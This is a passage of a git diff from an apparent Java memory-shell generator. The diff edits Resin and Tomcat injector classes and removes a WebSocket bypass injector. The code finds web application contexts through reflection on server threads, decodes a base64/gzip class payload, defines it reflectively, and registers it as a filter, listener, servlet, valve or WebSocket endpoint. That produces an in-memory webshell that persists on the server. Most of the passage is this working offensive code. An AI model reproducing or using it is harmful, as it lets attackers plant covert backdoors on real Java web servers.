-                    System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
+                return cw.toByteArray();
-                    return cw.toByteArray();
+            } catch (Exception e) {
-                } catch (Exception e) {
+                e.printStackTrace();
-                    e.printStackTrace();
-                }
             }
         }
         return bytes;

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +39,7 @@ public class ResinFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -139,11 +136,6 @@ public class ResinFilterInjector {
         invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(urlPattern, "init", null, null);
         invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
-
-        List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
-        filterMappings.remove(filterMappingImpl);
-        filterMappings.add(0, filterMappingImpl);
-
         invokeMethod(context, "clearCache", null, null);
     }
 
@@ -201,25 +193,30 @@ public class ResinFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -6,6 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -37,7 +38,7 @@ public class ResinListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -181,25 +182,30 @@ public class ResinListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -6,9 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +40,7 @@ public class ResinServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -185,25 +183,30 @@ public class ResinServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -43,7 +42,7 @@ public class TomcatFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -61,6 +60,22 @@ public class TomcatFilterInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
     /**
      * org.apache.catalina.core.StandardContext
      * /usr/local/tomcat/server/lib/catalina.jar
@@ -102,23 +117,6 @@ public class TomcatFilterInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -151,18 +149,15 @@ public class TomcatFilterInjector {
         }
         Object filterDef;
         Object filterMap;
-        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
-            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
-            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -180,17 +175,11 @@ public class TomcatFilterInjector {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
-
-        // addFilterMapFirst
-        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
-        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
-        results[0] = filterMap;
-        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
         try {
-            // Tomcat5
+            // v7.0.0 以上
-            setFieldValue(context, "filterMaps", results);
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
         } catch (Exception e) {
-            setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
         }
 
         Constructor filterConfigConstructor;
@@ -262,34 +251,20 @@ public class TomcatFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
-                return clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
+                field.setAccessible(true);
-
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Field field = getField(obj, name);
-        field.setAccessible(true);
-        return field.get(obj);
-    }
-
-
-    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-        Field field = getField(obj, fieldName);
-        field.setAccessible(true);
-        field.set(obj, value);
-    }
-
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -53,6 +53,23 @@ public class TomcatListenerInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -90,24 +107,7 @@ public class TomcatListenerInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
+    private ClassLoader getWebAppClassLoader(Object context) {
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -226,25 +226,30 @@ public class TomcatListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -8,9 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -23,14 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
     private static String msg = "";
     private static boolean ok = false;
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     public TomcatProxyValveInjector() {
         if (ok) {
             return;
@@ -41,7 +31,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -59,11 +49,36 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
         this.rawValve = rawValve;
         this.proxyValve = proxyValve;
     }
 
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
     @Override
     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
         if ("invoke".equals(method.getName())) {
@@ -118,23 +133,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -8,9 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -44,7 +42,7 @@ public class TomcatServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -62,6 +60,23 @@ public class TomcatServletInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -99,23 +114,6 @@ public class TomcatServletInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java

@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -55,6 +55,23 @@ public class TomcatUpgradeInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     /**
      * org.apache.catalina.core.StandardContext
      * /usr/local/tomcat/server/lib/catalina.jar
@@ -96,23 +113,6 @@ public class TomcatUpgradeInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -35,7 +35,7 @@ public class TomcatValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -53,6 +53,23 @@ public class TomcatValveInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -90,23 +107,6 @@ public class TomcatValveInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketByPassInjector.java

@@ -1,286 +0,0 @@
-package com.reajason.javaweb.memshell.injector.tomcat;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.PrintStream;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.*;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- * @since 2026/1/13
- */
-public class TomcatWebSocketByPassInjector {
-
-    private static String msg = "";
-    private static boolean ok = false;
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
-    public String getHelperBase64String() {
-        return "{{helperBase64String}}";
-    }
-
-    public TomcatWebSocketByPassInjector() {
-        if (ok) {
-            return;
-        }
-        Set<Object> contexts = null;
-        try {
-            contexts = getContext();
-        } catch (Throwable throwable) {
-            msg += "context error: " + getErrorMessage(throwable);
-        }
-        if (contexts == null || contexts.isEmpty()) {
-            msg += "context not found";
-        } else {
-            for (Object context : contexts) {
-                try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
-                    Object shell = getShell(context);
-                    inject(context, shell);
-                    msg += "[" + getUrlPattern() + "] ready\n";
-                } catch (Throwable e) {
-                    msg += "failed " + getErrorMessage(e) + "\n";
-                }
-            }
-        }
-        ok = true;
-        System.out.println(msg);
-    }
-
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            String threadName = thread.getName();
-            if (threadName.contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
-                try {
-                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
-                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
-                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
-                    for (Object value : childrenMap.values()) {
-                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        contexts.addAll(children.values());
-                    }
-                } catch (Exception ignored) {
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
-    private ClassLoader getWebAppClassLoader(Object context) {
-        try {
-            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
-        } catch (Exception e) {
-            Object loader = invokeMethod(context, "getLoader", null, null);
-            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
-        }
-    }
-
-    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = getWebAppClassLoader(context);
-        Class<?> clazz = null;
-        try {
-            clazz = classLoader.loadClass(getClassName());
-        } catch (Exception e) {
-            clazz = defineShell(classLoader, getBase64String());
-        }
-        msg += "[" + classLoader.getClass().getName() + "] ";
-        return clazz.newInstance();
-    }
-
-    private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
-        byte[] clazzByte = gzipDecompress(decodeBase64(base64));
-        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-        defineClass.setAccessible(true);
-        return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
-    }
-
-
-    @SuppressWarnings("unchecked")
-    private void inject(Object context, Object obj) throws Exception {
-        Object servletContext = invokeMethod(context, "getServletContext", null, null);
-        Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
-        if (container == null) {
-            container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
-        }
-
-        if (container == null) {
-            throw new RuntimeException("container is null");
-        }
-
-        if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
-            return;
-        }
-
-        Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
-        Object pipeline = invokeMethod(context, "getPipeline", null, null);
-        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
-        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
-
-        ClassLoader contextClassLoader = context.getClass().getClassLoader();
-        Class<?> serverEndpointConfigClass;
-        Class<?> builderClass;
-        try {
-            serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
-            builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
-        } catch (ClassNotFoundException e) {
-            serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
-            builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
-        }
-        Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
-        constructor.setAccessible(true);
-        Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
-        Object endpointConfig = invokeMethod(o1, "build", null, null);
-
-        invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
-        invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
-        invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
-    }
-
-    @Override
-    public String toString() {
-        return msg;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
